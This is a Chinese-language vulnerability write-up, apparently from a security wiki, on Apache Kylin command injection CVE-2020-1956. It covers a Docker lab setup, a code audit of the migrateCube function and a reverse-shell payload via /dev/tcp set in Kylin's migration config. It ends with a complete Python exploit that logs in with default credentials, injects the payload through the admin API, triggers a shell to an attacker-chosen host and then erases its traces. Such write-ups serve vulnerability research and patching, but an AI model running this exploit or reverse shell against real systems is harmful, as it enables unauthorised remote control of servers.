menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Apache Kylin chevron_right Apache Kylin 命令注入漏洞 CVE-2020-1956.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Apache Kylin 命令注入漏洞 CVE-2020-1956.md
    19.4 KB / 2021-07-04 06:01:08
        # Apache Kylin 命令注入漏洞 CVE-2020-1956
    
    ## 漏洞描述
    
    2020年5月22日,**CNVD** 通报了 **Apache Kylin** 存在命令注入漏洞 **CVE-2020-1956**,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133 。
    
    Apache Kylin** 是美国 **Apache** 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 **Hadoop/Spark** 之上的 **SQL** 查询接口及多维分析(**OLAP**)等功能。
    
    ## 影响版本
    
    > [!NOTE]
    >
    > Apache Kylin 2.3.0 ~ 2.3.2
    >
    > Apache Kylin 2.4.0 ~ 2.4.1
    >
    > Apache Kylin 2.5.0 ~ 2.5.2
    >
    > Apache Kylin 2.6.0 ~ 2.6.5
    >
    > Apache Kylin 3.0.0-alpha, Apache Kylin 3.0.0-alpha2, Apache Kylin 3.0.0-beta, Apache Kylin 3.0.0, Kylin 3.0.1
    
    ## 环境搭建
    
    这里使用 docker 来搭建需要的环境
    
    [Kylin官方文档]( http://kylin.apache.org/cn/docs/install/kylin_docker.html)
    
    ```
    docker pull apachekylin/apache-kylin-standalone:3.0.1
    ```
    
    > [!NOTE]
    >
    > 如果服务器内存较小,可不选择 -m 8G 参数
    
    ```
    docker run -d \
    -m 8G \
    -p 7070:7070 \
    -p 8088:8088 \
    -p 50070:50070 \
    -p 8032:8032 \
    -p 8042:8042 \
    -p 16010:16010 \
    apachekylin/apache-kylin-standalone:3.0.1
    ```
    
    打开后使用默认账号密码**admin/KYLIN**登录,出现初始界面即为成功
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-1.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ## 漏洞分析
    
    查看这个漏洞修复的补丁
    
    [查看地址](https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a# )
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-2.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    这里可以看到此漏洞有关的参数有三个,分别是 **srcCfgUri**、**dstCfgUri**、**projectName**,相关的函数为 **migrateCube**
    
    官方文档中对 migrateCube 的描述
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-3.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ```
    POST /kylin/api/cubes/{cube}/{project}/migrate
    ```
    
    下载 Apache Kylin 3.0.1 的源代码进行代码审计,出现漏洞函数的文件为以下路径
    
    ```
    apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service\CubeService.java
    ```
    
    找到**migrateCube**函数
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-4.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ```java
    @PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN
                + " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')")
        public void migrateCube(CubeInstance cube, String projectName) {
            KylinConfig config = cube.getConfig();
            if (!config.isAllowAutoMigrateCube()) {
                throw new InternalErrorException("One click migration is disabled, please contact your ADMIN");
            }
    
            for (CubeSegment segment : cube.getSegments()) {
                if (segment.getStatus() != SegmentStatusEnum.READY) {
                    throw new InternalErrorException(
                            "At least one segment is not in READY state. Please check whether there are Running or Error jobs.");
                }
            }
    
            String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
            String dstCfgUri = config.getAutoMigrateCubeDestConfig();
    
            Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty.");
            Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri), "Destination configuration should not be empty.");
    
            String stringBuilderstringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true");
            String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri,
                    cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge());
    
            logger.info("One click migration cmd: " + cmd);
    
            CliCommandExecutor exec = new CliCommandExecutor();
            PatternedLogger patternedLogger = new PatternedLogger(logger);
    
            try {
                exec.execute(cmd, patternedLogger);
            } catch (IOException e) {
                throw new InternalErrorException("Failed to perform one-click migrating", e);
            }
        }
    ```
    
    **PreAuthorize**里面定义了路由权限,**ADMIN**权限、**ADMINISTRATION**权限和**MANAGEMENT**权限可以访问该service。
    
    ```java
    @PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN
                + " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')")
    ```
    
    在1087行判断是否开启了**MigrateCube**设置,如果没有开启则会报错
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-4.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    跟进 **isAllowAutoMigrateCube()** 这个函数
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-6.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    可以看到这里默认的配置**kylin.tool.auto-migrate-cube.enabled **就是**Flase**
    
    ```java
    public boolean isAllowAutoMigrateCube() {
            return Boolean.parseBoolean(getOptional("kylin.tool.auto-migrate-cube.enabled", FALSE));
        }
    ```
    
    在没有开启配置**kylin.tool.auto-migrate-cube.enabled**为**true**的情况下,调用**MigrateCube**则会出现报错
    
    ![image-20210629155426528](http://wikioss.peiqi.tech/vuln/image-20210629155426528.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-5.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    通过Apache Kylin的SYSTEM模块开启**kylin.tool.auto-migrate-cube.enabled**为**True**
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-8.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-9.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    设置后再去请求则不会出现刚刚的报错,而是出现**Source configuration should not be empty**
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-10.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    跟进出现报错语句的代码块
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-11.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ```java
    String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
            String dstCfgUri = config.getAutoMigrateCubeDestConfig();
    
            Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty.");
            Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri),
                    "Destination configuration should not be empty.");
    ```
    
    这里进行了对**kylin.tool.auto-migrate-cube.src-config**和**kylin.tool.auto-migrate-cube.dest-config**的配置进行了检测
    
    ,如果为空则会出现刚刚的报错
    
    跟进 **getAutoMigrateCubeSrcConfig()**和**getAutoMigrateCubeDestConfig()**函数
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-12.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ```java
    public String getAutoMigrateCubeSrcConfig() {
            return getOptional("kylin.tool.auto-migrate-cube.src-config", "");
        }
    
        public String getAutoMigrateCubeDestConfig() {
    
            return getOptional("kylin.tool.auto-migrate-cube.dest-config", "");
        }
    ```
    
    发现这两个配置默认为空,因为配置允许自定义,所以srcCfgUri和dstCfgUri两个变量均是可控的
    
    继续向下走,发现一处**命令拼接**
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-13.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ```java
     String stringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true");
            String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri,
                    cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge());
    
            logger.info("One click migration cmd: " + cmd);
    
            CliCommandExecutor exec = new CliCommandExecutor();
            PatternedLogger patternedLogger = new PatternedLogger(logger);
    
            try {
                exec.execute(cmd, patternedLogger);
            } catch (IOException e) {
                throw new InternalErrorException("Failed to perform one-click migrating", e);
            }
        }
    ```
    
    进入到**execute**函数
    
    ```java
    private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException {
            SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);
    
            SSHClientOutput sshOutput;
            try {
                sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
                int exitCode = sshOutput.getExitCode();
                String output = sshOutput.getText();
                return Pair.newPair(exitCode, output);
            } catch (IOException e) {
                throw e;
            } catch (Exception e) {
                throw new IOException(e.getMessage(), e);
            }
        }
    
        private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException {
            String[] cmd = new String[3];
            String osName = System.getProperty("os.name");
            if (osName.startsWith("Windows")) {
                cmd[0] = "cmd.exe";
                cmd[1] = "/C";
            } else {
                cmd[0] = "/bin/bash";
                cmd[1] = "-c";
            }
            cmd[2] = command;
    
            ProcessBuilder builder = new ProcessBuilder(cmd);
            builder.redirectErrorStream(true);
            Process proc = builder.start();
    
            BufferedReader reader = new BufferedReader(
                    new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
            String line;
            StringBuilder result = new StringBuilder();
            while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
                result.append(line).append('\n');
                if (logAppender != null) {
                    logAppender.log(line);
                }
            }
    
            if (Thread.interrupted()) {
                logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
                proc.destroy();
                try {
                    Thread.sleep(1000);
                } catch (InterruptedException e) {
                    // do nothing
                }
                return Pair.newPair(1, "Killed");
            }
    
            try {
                int exitCode = proc.waitFor();
                return Pair.newPair(exitCode, result.toString());
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
                throw new IOException(e);
            }
        }
    
    }
    ```
    
    由此可以得出我们可以通过这两个可控的参数,执行任意我们需要的命令,例如反弹一个shell,设置的配置为
    
    > [!NOTE]
    >
    > kylin.tool.auto-migrate-cube.enabled=true
    >
    > kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
    >
    > kylin.tool.auto-migrate-cube.dest-config=shell
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-15.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    再去发送POST请求 **/kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate**
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-16.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    成功反弹一个shell
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-14.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ## 漏洞利用POC
    
    > [!NOTE]
    >
    > POC利用前提是拥有账号密码,默认账号密码是 admin/KYLIN
    
    ```python
    #!/usr/bin/python3
    #-*- coding:utf-8 -*-
    # author : PeiQi
    # from   : http://wiki.peiqi.tech
    
    import requests
    import base64
    import sys
    
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
        print('+  \033[34mVersion: Apache Kylin <= 3.0.1                                    \033[0m')
        print('+  \033[36m使用格式: python3 CVE-2020-1956                                    \033[0m')
        print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:7070                            \033[0m')
        print('+  \033[36mLogin  >>> admin:KYLIN(格式为User:Pass)                            \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        login_url = target_url + "/kylin/api/user/authentication"
        user_pass = str(input("\033[35mPlease input User and Pass\nLogin >>> \033[0m"))
    
        Authorization = "Basic " + str((base64.b64encode(user_pass.encode('utf-8'))),'utf-8')
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
            "Authorization": Authorization,
            "Cookie": "project=null"
        }
        try:
            response = requests.post(url=login_url, headers=headers, timeout=20)
            if "password" not in response.text:
                print("\033[31m[x] 账号密码出现错误 \033[0m")
                sys.exit(0)
            else:
                print("\033[32m[o] 成功登录,获得JSESSIONID:" + response.cookies["JSESSIONID"] + "\033[0m")
                return response.cookies["JSESSIONID"],Authorization
        except:
            print("\033[31m[x] 漏洞利用失败\033[0m")
            sys.exit(0)
    
    def POC_2(target_url, cookie, IP, PORT, Authorization):
        config_url = target_url + "/kylin/api/admin/config"
    
        key = ["kylin.tool.auto-migrate-cube.enabled","kylin.tool.auto-migrate-cube.src-config","kylin.tool.auto-migrate-cube.dest-config"]
        value = ["true","echo;bash -i >& /dev/tcp/{}/{} 0>&1;echo".format(IP, PORT), "shell"]
    
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
            "Authorization": Authorization,
            "Accept": "application/json, text/plain, */*",
            "Content-Type": "application/json;charset=UTF-8",
            "Pragma": "no-cache",
            "Cookie": "project=null;JSESSIONID="+cookie
        }
        for i in range(0,3):
            data = """{"key":"%s","value":"%s"}""" % (key[i], value[i])
            try:
                response = requests.put(url=config_url, headers=headers, data=data, timeout=20)
                if response.status_code == 200:
                    print("\033[32m[o] 成功将" + key[i] +"设置为" + value[i] +"\033[0m")
                else:
                    print("\033[31m[x] 设置" + key[i] +"为" + value[i] +"失败\033[0m")
                    sys.exit(0)
            except:
                print("\033[31m[x] 漏洞利用失败 \033[0m")
                sys.exit(0)
    
    def POC_3(target_url, cookie):
        print("\033[35m[o] 正在反弹shell......\033[0m")
        vuln_url = target_url + "/kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate"
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
            "Cookie": "project=null;JSESSIONID=" + cookie
        }
        try:
            response = requests.post(url=vuln_url, headers=headers)
            POC_4(target_url, cookie)
        except:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
            sys.exit(0)
    
    def POC_4(target_url, cookie):
        config_url = target_url + "/kylin/api/admin/config"
    
        key = ["kylin.tool.auto-migrate-cube.enabled", "kylin.tool.auto-migrate-cube.src-config",
               "kylin.tool.auto-migrate-cube.dest-config"]
        value = ["flase", "echo;echo;echo", "None"]
    
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
            "Authorization": Authorization,
            "Accept": "application/json, text/plain, */*",
            "Content-Type": "application/json;charset=UTF-8",
            "Pragma": "no-cache",
            "Cookie": "project=null;JSESSIONID=" + cookie
        }
    
        for i in range(0,3):
            data = """{"key":"%s","value":"%s"}""" % (key[i], value[i])
            try:
                response = requests.put(url=config_url, headers=headers, data=data, timeout=20)
                if response.status_code == 200:
                    print("\033[32m[o] 成功将" + key[i] +"设置为" + value[i] +"\033[0m")
                else:
                    print("\033[31m[x] 设置" + key[i] +"为" + value[i] +"失败\033[0m")
                    sys.exit(0)
            except:
                print("\033[31m[x] 漏洞利用失败 \033[0m")
                sys.exit(0)
        print("\033[35m[o] 成功清理痕迹\033[0m")
    
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        try:
            cookie,Authorization = POC_1(target_url)
        except:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
            sys.exit(0)
        IP = str(input("\033[35m请输入监听IP   >>> \033[0m"))
        PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
        POC_2(target_url, cookie, IP, PORT, Authorization)
        POC_3(target_url, cookie)
    ```
    
    ![](http://wikioss.peiqi.tech/vuln/kylin-17.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ## 参考文章
    
    [Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析](https://paper.seebug.org/1237/)
    
    
    
    links
    file_download